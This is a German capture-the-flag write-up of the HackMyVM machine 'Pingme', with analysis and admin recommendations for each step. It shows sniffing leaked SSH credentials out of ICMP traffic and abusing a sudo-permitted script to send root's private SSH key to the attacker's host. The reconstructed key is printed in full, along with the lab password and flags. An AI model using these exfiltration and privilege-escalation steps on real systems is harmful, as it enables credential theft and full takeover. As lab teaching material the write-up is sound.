Pingme - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
curl
tcpdump
tshark
awk
cut
tr
sed
ssh
sudo
vi
chmod
ls
cat

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~/tajer] └─# arp-scan -l
192.168.2.124	08:00:27:6a:9b:ec	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment zu entdecken. Er identifiziert einen Host mit der IP-Adresse 192.168.2.124 und der MAC-Adresse 08:00:27:6a:9b:ec, die dem Hersteller PCS Systemtechnik GmbH (oft ein Indikator für Oracle VirtualBox) zugeordnet ist.

Bewertung: Das Zielsystem "Pingme" wurde erfolgreich im Netzwerk lokalisiert. Diese IP-Adresse ist der Ausgangspunkt für alle weiteren Scans und Interaktionen.

Empfehlung (Pentester): Notieren Sie die Ziel-IP 192.168.2.124. Führen Sie als Nächstes Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu identifizieren und festzustellen, welche Angriffsvektoren verfügbar sind.
Empfehlung (Admin): Netzwerksegmentierung kann die Effektivität von ARP-Scans reduzieren. Überwachen Sie das Netzwerk auf ungewöhnliche ARP-Aktivitäten.

┌──(root㉿cyber)-[~/tajer] └─# curl 192.168.2.124
Simple 1 page layout and transmitting ICMP packets..

Checking your connection

pinging 192.168.2.140 from 192.168.2.124
PING 192.168.2.140 (192.168.2.140) 56(84) bytes of data.
64 bytes from 192.168.2.140: icmp_seq=1 ttl=64 time=0.150 ms
64 bytes from 192.168.2.140: icmp_seq=2 ttl=64 time=0.142 ms
64 bytes from 192.168.2.140: icmp_seq=3 ttl=64 time=0.145 ms
64 bytes from 192.168.2.140: icmp_seq=4 ttl=64 time=0.181 ms

--- 192.168.2.140 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss

Analyse: Der Befehl `curl 192.168.2.124` ruft den Inhalt der Webseite ab, die auf Port 80 des Zielsystems gehostet wird. Die Webseite enthält Text, der auf ICMP-Pakete hinweist ("transmitting ICMP packets"). Außerdem zeigt die Ausgabe einen `ping`-Befehl, der vom Zielsystem (192.168.2.124) zur IP-Adresse 192.168.2.140 (vermutlich die IP des Angreifers/Pentesters) ausgeführt wird, sowie die Ergebnisse dieses Pings.

Bewertung: Dies ist ein höchst ungewöhnliches Verhalten für eine Webseite. Es deutet stark darauf hin, dass der Webserver beim Aufruf der Seite aktiv ICMP-Pakete sendet oder eine Aktion auslöst, die ICMP-Pakete generiert. Die Tatsache, dass die IP des Angreifers (192.168.2.140) angepingt wird, legt nahe, dass diese Pakete Informationen enthalten könnten (Data Exfiltration).

Empfehlung (Pentester): Da die Webseite ICMP-Traffic generiert und an den Client (Angreifer) sendet, muss dieser Traffic mit einem Netzwerk-Sniffer (wie `tcpdump` oder Wireshark) auf dem Angreifer-System aufgezeichnet werden, während die Webseite erneut abgerufen wird. Analysieren Sie die aufgezeichneten ICMP-Pakete auf versteckte Daten.
Empfehlung (Admin): Überprüfen Sie sofort die Webserver-Konfiguration und den Code der Webanwendung. Eine Webanwendung sollte normalerweise keine `ping`-Befehle ausführen oder unaufgefordert ICMP-Pakete an Clients senden. Dies könnte ein Hinweis auf eine Command Injection Schwachstelle oder eine absichtlich eingebaute (unsichere) Funktionalität sein.

┌──(root㉿cyber)-[~] └─# tcpdump -i eth0 src 192.168.2.124 -w user.cap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C9 packets captured
9 packets received by filter
0 packets dropped by kernel

Analyse: Auf dem Angreifer-System wird `tcpdump` gestartet, um Netzwerkverkehr auf dem Interface `eth0` mitzuschneiden. Der Filter `src 192.168.2.124` sorgt dafür, dass nur Pakete aufgezeichnet werden, die vom Zielsystem stammen. Die Option `-w user.cap` speichert die aufgezeichneten Pakete in einer Datei namens `user.cap`. Während `tcpdump` lief, wurde vermutlich die Webseite `http://192.168.2.124` erneut aufgerufen (implizit). Der Prozess wurde mit Strg+C beendet, nachdem 9 Pakete erfasst wurden.

Bewertung: Dies ist die korrekte Vorgehensweise, um den im vorherigen Schritt vermuteten ICMP-Traffic aufzuzeichnen. Die 9 erfassten Pakete enthalten wahrscheinlich die relevanten ICMP-Nachrichten, die analysiert werden müssen.

Empfehlung (Pentester): Analysieren Sie die Datei `user.cap` mit einem Tool wie `tshark` (Kommandozeilenversion von Wireshark) oder Wireshark selbst. Untersuchen Sie den Dateninhalt (Payload) der ICMP-Pakete auf ungewöhnliche Muster oder extrahierbare Informationen.
Empfehlung (Admin): Keine direkte Aktion, da dies auf dem Angreifer-System geschieht. Fokus bleibt auf der Ursachenanalyse des ICMP-Traffics auf dem Server.

┌──(root㉿cyber)-[~] └─# tshark -r user.cap -V | grep ^0020 | awk '{print $18}'
Running as user "root" and group "root". This could be dangerous.
name.username.us
r.pinger.pinger.
word.password.pa
3.P!ngM3.P!ngM3.

Analyse: `tshark` wird verwendet, um die zuvor erstellte Capture-Datei `user.cap` zu analysieren. `-r user.cap` gibt die Datei an. `-V` aktiviert die detaillierte Ansicht der Pakete. Die Ausgabe wird durch `grep ^0020` gefiltert, was wahrscheinlich Zeilen auswählt, die den Beginn des ICMP-Daten-Payloads zeigen (Offset 0x0020 im Paket-Hexdump ist oft der Start der ICMP-Daten nach IP- und ICMP-Header). `awk '{print $18}'` extrahiert das 18. Feld aus diesen Zeilen, welches hier anscheinend die ASCII-Repräsentation eines Teils des ICMP-Payloads enthält.

Bewertung: Kritischer Fund durch ICMP Data Exfiltration! Die Ausgabe zeigt, dass Teile von Zeichenketten über die ICMP-Pakete übertragen wurden. Wenn man die Fragmente zusammensetzt, ergeben sich klare Hinweise auf Zugangsdaten: Username = `pinger` und Password = `P!ngM3`.

Empfehlung (Pentester): Nutzen Sie die extrahierten Zugangsdaten `pinger`:`P!ngM3`, um sich am Zielsystem anzumelden. Da nur Port 80 offen zu sein schien (basierend auf dem ersten `curl`), muss entweder ein anderer Dienst laufen (Nmap-Scan wiederholen oder gründlicher prüfen) oder es gibt einen versteckten Login auf der Webseite. Am wahrscheinlichsten ist jedoch ein SSH-Dienst auf einem Standard- oder Nicht-Standard-Port.
Empfehlung (Admin): Dringend die Webanwendung untersuchen, die diese ICMP-Pakete generiert und Daten leakt. Entfernen Sie diese Funktionalität oder sichern Sie sie ab. Ändern Sie sofort die kompromittierten Zugangsdaten.

Initial Access

┌──(root㉿cyber)-[~] └─# ssh pinger@192.168.2.124
The authenticity of host '192.168.2.124 (192.168.2.124)' can't be established.
ED25519 key fingerprint is SHA256:jIHuqj6aE+2blT+6SnkGKkaR7dRiUscb9FAVVG/h9DU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.124' (ED25519) to the list of known hosts.
pinger@192.168.2.124's password: [Passworteingabe: P!ngM3]
Linux pingme 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Mar  5 19:21:06 2022 from 10.0.0.10
pinger@pingme:~$ # Login erfolgreich

Analyse: Es wird versucht, sich per SSH als Benutzer `pinger` am Zielsystem 192.168.2.124 anzumelden. Nachdem die Host-Authentizität bestätigt wurde, wird das zuvor aus dem ICMP-Traffic extrahierte Passwort `P!ngM3` eingegeben. Der Login ist erfolgreich, und der Angreifer erhält eine Shell als Benutzer `pinger`.

Bewertung: Initial Access erfolgreich! Der unkonventionelle Weg über die Analyse des ICMP-Traffics zur Extraktion von Zugangsdaten hat funktioniert. SSH läuft also doch auf dem Zielsystem (vermutlich auf dem Standardport 22, auch wenn Nmap ihn initial nicht zeigte oder der Scan unvollständig war).

Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. `export TERM=xterm`). Führen Sie grundlegende Enumerationsbefehle aus: `id`, `whoami`, `pwd`, `ls -la /home`, `sudo -l`, um die Rechte und die Umgebung des Benutzers `pinger` zu verstehen und nach Wegen zur Privilege Escalation zu suchen.
Empfehlung (Admin): Ändern Sie das Passwort für `pinger`. Überprüfen Sie die SSH-Konfiguration (`/etc/ssh/sshd_config`), um sicherzustellen, dass nur notwendige Authentifizierungsmethoden erlaubt sind. Analysieren Sie die Ursache für das Datenleck über ICMP.

pinger@pingme:~$ sudo -l
Matching Defaults entries for pinger on pingme:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pinger may run the following commands on pingme:
    (root) NOPASSWD: /usr/local/sbin/sendfilebyping

Analyse: Als Benutzer `pinger` wird `sudo -l` ausgeführt, um die `sudo`-Berechtigungen zu überprüfen. Die Ausgabe zeigt, dass `pinger` den Befehl `/usr/local/sbin/sendfilebyping` als `root` ohne Passwortabfrage (`NOPASSWD`) ausführen darf.

Bewertung: Dies ist ein klarer und vielversprechender Vektor für Privilege Escalation. Ein benutzerdefiniertes Skript, das mit Root-Rechten ausgeführt werden kann, ist oft anfällig für Manipulation oder Missbrauch.

Empfehlung (Pentester): Analysieren Sie das Skript `/usr/local/sbin/sendfilebyping`. Führen Sie es ohne Argumente aus, um Hilfe oder Fehlermeldungen zu sehen. Untersuchen Sie den Quellcode, falls möglich. Suchen Sie nach Möglichkeiten, den Dateipfadparameter (``) zu missbrauchen, um beliebige Dateien zu lesen (z.B. `/root/.ssh/id_rsa`, `/etc/shadow`).
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und Sicherheit des Skripts `/usr/local/sbin/sendfilebyping`. Wenn ein Benutzer ein Skript als Root ausführen muss, stellen Sie sicher, dass das Skript sicher implementiert ist, keine beliebigen Dateipfade akzeptiert oder validiert und bereinigt diese rigoros. Gewähren Sie `sudo`-Rechte nach dem Least-Privilege-Prinzip.

Proof of Concept: ICMP Data Exfiltration via Sudo-privilegiertem Skript

Kurzbeschreibung: Der Benutzer `pinger` hat `sudo`-Rechte, um das Skript `/usr/local/sbin/sendfilebyping` als `root` ohne Passwort auszuführen. Dieses Skript ist dafür vorgesehen, den Inhalt einer angegebenen Datei Zeichen für Zeichen über ICMP-Pakete an eine Ziel-IP-Adresse zu senden. Da das Skript als `root` läuft, kann es jede Datei auf dem System lesen, einschließlich hochsensibler Dateien wie privater SSH-Schlüssel. Durch Angabe der Angreifer-IP als Ziel und des Pfads zur Zieldatei (z.B. `/root/.ssh/id_rsa`) kann der Angreifer den Inhalt dieser Datei über das Netzwerk exfiltrieren, selbst wenn andere Kanäle (wie direkte SSH-Verbindungen als Root oder Dateitransfers) blockiert sind.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. Netzwerk-Sniffer starten (Angreifer-System): Starten Sie `tcpdump` oder `tshark`, um ICMP-Pakete vom Ziel (192.168.2.124) zu erfassen und in eine Datei (z.B. `key.cap`) zu speichern. Beispiel:
    ┌──(root㉿cyber)-[~] └─# tcpdump -i eth0 icmp and src 192.168.2.124 -w key.cap
    tcpdump: listening on eth0...
  2. Exfiltrationsskript ausführen (Zielsystem): Führen Sie in der `pinger`-Shell das `sudo`-privilegierte Skript aus, um z.B. den privaten SSH-Schlüssel von Root an die Angreifer-IP (192.168.2.140) zu senden:
    pinger@pingme:~$ sudo /usr/local/sbin/sendfilebyping 192.168.2.140 /root/.ssh/id_rsa
    Packet 1
    Packet 2
    [...]
    Packet 2602
    
  3. Netzwerk-Sniffer stoppen (Angreifer-System): Beenden Sie `tcpdump`/`tshark` (Strg+C), nachdem das Skript auf dem Zielsystem durchgelaufen ist.
  4. Daten extrahieren und Datei rekonstruieren (Angreifer-System): Verwenden Sie ein Tool oder eine Skriptkette (wie die im Bericht gezeigte `tshark | grep | awk | cut | tr | sed`-Kette), um die einzelnen Zeichen aus dem Payload der ICMP-Pakete in `key.cap` zu extrahieren und zur ursprünglichen Datei (`id_rsa`) zusammenzusetzen.
    ┌──(root㉿cyber)-[~/tajer] └─# tshark -r key.cap -V | grep 0020 | awk '{print $18}' | cut -c 1 | tr -d '\n' | tr '.' '\n' | sed -r 's/(.*SH|P.*TE|KEY)/& /g' > id_root_rsa
    [...]
  5. Ergebnis überprüfen: Die Datei `id_root_rsa` sollte nun den privaten SSH-Schlüssel des Root-Benutzers enthalten.
    ┌──(root㉿cyber)-[~/tajer] └─# cat id_root_rsa
    -----BEGIN OPENSSH PRIVATE KEY-----
    [...]
    -----END OPENSSH PRIVATE KEY-----

Erwartetes Ergebnis: Der Inhalt der Zieldatei (z.B. `/root/.ssh/id_rsa`) wird erfolgreich über ICMP-Pakete exfiltriert und auf dem Angreifer-System rekonstruiert.

Beweismittel: Die rekonstruierte Datei (`id_root_rsa`) auf dem Angreifer-System, die den Inhalt der ursprünglichen Datei vom Zielsystem enthält.

Risikobewertung: Hoch. Die unsichere `sudo`-Regel ermöglicht es einem Benutzer mit geringen Rechten, beliebige Dateien als Root zu lesen und diese über einen schwer zu blockierenden Kanal (ICMP) zu exfiltrieren. Dies führt zur Kompromittierung hochsensibler Daten und ermöglicht in diesem Fall den direkten Root-Zugriff über den gestohlenen SSH-Schlüssel.

Empfehlungen zur Behebung:

Privilege Escalation

pinger@pingme:~$ sudo /usr/local/sbin/sendfilebyping
sendfilebyping  
Only sends 1 char at a time - no error checking and slow
(Just a proof of concept for HackMyVm - rpj7)

Analyse: Das Skript `/usr/local/sbin/sendfilebyping` wird ohne Argumente ausgeführt (unter Nutzung der `sudo`-Berechtigung). Es gibt seine Nutzungshinweise aus: Es erwartet eine IP-Adresse und einen Dateipfad und sendet die Datei Zeichen für Zeichen.

Bewertung: Bestätigt die Funktion des Skripts und dass es einen Dateipfad als Argument entgegennimmt. Dies ist der Ansatzpunkt für den Exploit.

Empfehlung (Pentester): Bereiten Sie den Netzwerk-Sniffer auf Ihrem System vor und führen Sie das Skript dann mit Ihrer IP und dem Pfad zur Zieldatei (`/root/.ssh/id_rsa`) aus.
Empfehlung (Admin): Siehe Empfehlungen im POC-Abschnitt bezüglich der Absicherung des Skripts und der `sudo`-Regel.

pinger@pingme:~$ sudo /usr/local/sbin/sendfilebyping 192.168.2.140 /root/.ssh/id_rsa
Packet 1
Packet 2
Packet 3
Packet 4
...
Packet 2600
Packet 2601
Packet 2602

Analyse: Der `pinger`-Benutzer führt das Skript `/usr/local/sbin/sendfilebyping` mit `sudo` aus, um die Datei `/root/.ssh/id_rsa` (die Root gehört und normalerweise nicht lesbar ist) an die IP-Adresse des Angreifers (192.168.2.140) zu senden. Das Skript gibt für jedes gesendete Zeichen (vermutlich in einem ICMP-Paket) eine "Packet"-Meldung aus.

Bewertung: Die Exfiltration der Root-SSH-Schlüsseldatei wird erfolgreich durchgeführt. Die `sudo`-Regel wird missbraucht, um auf die Datei zuzugreifen, und das Skript sendet den Inhalt über ICMP.

Empfehlung (Pentester): Stellen Sie sicher, dass der Netzwerk-Sniffer auf 192.168.2.140 läuft, um diese Pakete zu erfassen. Stoppen Sie den Sniffer, nachdem das Skript beendet ist, und beginnen Sie mit der Rekonstruktion der Schlüsseldatei.
Empfehlung (Admin): Dringend die `sudo`-Regel und das Skript überprüfen/entfernen.

┌──(root㉿cyber)-[~/tajer] └─# tshark -r key.cap -V | grep 0020 | awk '{print $18}' | cut -c 1 | tr -d '\n' | tr '.' '\n' | sed -r 's/(.*SH|P.*TE|KEY)/ &/g'
Running as user "root" and group "root". This could be dangerous.
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Analyse: Dieser Befehl wird auf dem Angreifer-System ausgeführt, um die Daten aus der Capture-Datei `key.cap` zu verarbeiten. Die Kette aus `tshark`, `grep`, `awk`, `cut`, `tr` und `sed` extrahiert die Zeichen aus den ICMP-Payloads und setzt sie zur ursprünglichen Datei zusammen, wobei auch die Kopf- und Fußzeilen (`-----BEGIN...`, `-----END...`) wiederhergestellt werden. Die Ausgabe ist der vollständige private SSH-Schlüssel des Root-Benutzers vom Zielsystem.

Bewertung: Die Exfiltration und Rekonstruktion des Schlüssels war erfolgreich. Dies ist der entscheidende Schritt zur Erlangung von Root-Rechten.

Empfehlung (Pentester): Speichern Sie den rekonstruierten Schlüssel in einer Datei (z.B. `id_root`). Setzen Sie die korrekten Berechtigungen (`chmod 600 id_root`). Verwenden Sie diesen Schlüssel, um sich als `root` via SSH am Zielsystem anzumelden.
Empfehlung (Admin): Die Exfiltration ist bereits erfolgt. Fokus auf die Behebung der Ursachen (sudo-Regel, unsicheres Skript).

┌──(root㉿cyber)-[~/tajer] └─# vi id
[Editor wird geöffnet, der rekonstruierte Key wird eingefügt und gespeichert]
┌──(root㉿cyber)-[~/tajer] └─# chmod 600 id
[Keine Ausgabe]

Analyse: Der rekonstruierte private SSH-Schlüssel wird auf dem Angreifer-System in eine Datei namens `id` gespeichert. Anschließend werden mit `chmod 600 id` die Dateiberechtigungen korrekt gesetzt, sodass nur der Besitzer Lese- und Schreibrechte hat, was für die Verwendung mit dem `ssh`-Client erforderlich ist.

Bewertung: Korrekte Vorbereitungsschritte zur Verwendung des exfiltrierten Schlüssels.

Empfehlung (Pentester): Verwenden Sie nun den Schlüssel für den SSH-Login als Root.
Empfehlung (Admin): Keine direkte Aktion.

┌──(root㉿cyber)-[~/tajer] └─# ssh root@192.168.2.124 -i id
Linux pingme 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar  6 11:15:54 2022
root@pingme:~# # Root-Zugriff erfolgreich!

Analyse: Der Angreifer meldet sich per SSH als Benutzer `root` am Zielsystem 192.168.2.124 an und verwendet dabei den zuvor exfiltrierten und gespeicherten privaten Schlüssel (`-i id`). Der Login ist erfolgreich, und der Angreifer erhält eine Root-Shell.

Bewertung: Fantastisch! Die Privilege Escalation wurde erfolgreich abgeschlossen. Durch Ausnutzung der `sudo`-Regel zur Exfiltration des Root-SSH-Schlüssels über ICMP wurde vollständiger Root-Zugriff auf das System erlangt.

Empfehlung (Pentester): Root-Zugriff ist erreicht. Suchen und lesen Sie die Root-Flag (`/root/root.txt`) und die User-Flag (`/home/pinger/user.txt`). Dokumentieren Sie den Angriffsweg.
Empfehlung (Admin): Sofortiges Handeln erforderlich. Widerrufen Sie den kompromittierten SSH-Schlüssel (entfernen Sie den zugehörigen öffentlichen Schlüssel aus `/root/.ssh/authorized_keys`). Beheben Sie die `sudo`-Schwachstelle und das unsichere Skript. Überprüfen Sie das System auf weitere Kompromittierungen oder Backdoors.

root@pingme:~# ls
root.txt
root@pingme:~# cat root.txt
HMV{ICMPcanBeAbused}

Analyse: Als Root-Benutzer wird der Inhalt des Home-Verzeichnisses (`/root`) aufgelistet und die Datei `root.txt` angezeigt.

Bewertung: Die Root-Flag wurde erfolgreich gefunden und gelesen.

Empfehlung (Pentester): Flag dokumentieren.
Empfehlung (Admin): Keine Aktion bezüglich der Flag selbst, Fokus auf Sicherheitslückenbehebung.

root@pingme:~# cd /home
[Keine Ausgabe]
root@pingme:/home# ls
pinger
root@pingme:/home# cd pinger
[Keine Ausgabe]
root@pingme:/home/pinger# ls
user.txt
root@pingme:/home/pinger# cat user.txt
HMV{ICMPisSafe}

Analyse: Als Root-Benutzer wird in das Home-Verzeichnis des Benutzers `pinger` navigiert und die Datei `user.txt` angezeigt.

Bewertung: Die User-Flag wurde erfolgreich gefunden und gelesen.

Empfehlung (Pentester): Flag dokumentieren. Bericht abschließen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag selbst.

Flags

cat user.txt
HMV{ICMPisSafe}
cat root.txt
HMV{ICMPcanBeAbused}